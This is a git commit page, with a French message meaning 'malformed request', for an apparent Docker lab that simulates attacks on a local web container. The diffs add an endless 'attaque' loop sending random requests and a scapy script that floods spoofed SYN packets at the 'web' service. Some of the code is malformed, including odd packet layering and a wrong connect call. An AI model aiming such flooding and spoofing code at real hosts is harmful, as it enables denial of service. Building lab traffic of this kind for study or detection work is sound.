requete mal formee
This commit is contained in:
commit
4202dc0e43
4 changed files with 16 additions and 10 deletions
|
@ -5,5 +5,5 @@ RUN apk add \
|
|||
gcc \
|
||||
libpcap-dev \
|
||||
&& pip install -r requirements.txt
|
||||
CMD ["python3","app.py"]
|
||||
CMD ["python", "-u", "main.py"]
|
||||
|
||||
|
|
|
@ -9,7 +9,9 @@ L=[
|
|||
|
||||
adresse="localhost"
|
||||
port=80
|
||||
with socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM) as s:
|
||||
def attaque():
|
||||
while True:
|
||||
with socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM) as s:
|
||||
s.connect(adresse,port)
|
||||
s.send(L[r.randint(0,2)].encode())
|
||||
|
||||
|
|
8
client/main.py
Normal file
8
client/main.py
Normal file
|
@ -0,0 +1,8 @@
|
|||
from scapy.all import *
|
||||
|
||||
while True:
|
||||
for i in range(512,2048):
|
||||
pkt = IP(dst='web') / IP(src='192.168.1.69')/ TCP(dport=80,sport=i,flags='S') / ICMP()
|
||||
send(pkt, loop=1)
|
||||
print("Sent packet")
|
||||
|
|
@ -1,8 +1,6 @@
|
|||
services:
|
||||
web:
|
||||
build:
|
||||
context: server
|
||||
dockerfile: Dockerfile
|
||||
build: server
|
||||
container_name: web
|
||||
ports:
|
||||
- 80:80
|
||||
|
@ -10,9 +8,7 @@ services:
|
|||
- network
|
||||
|
||||
client:
|
||||
build:
|
||||
context: client
|
||||
dockerfile: Dockerfile
|
||||
build: client
|
||||
container_name: client
|
||||
networks:
|
||||
- network
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue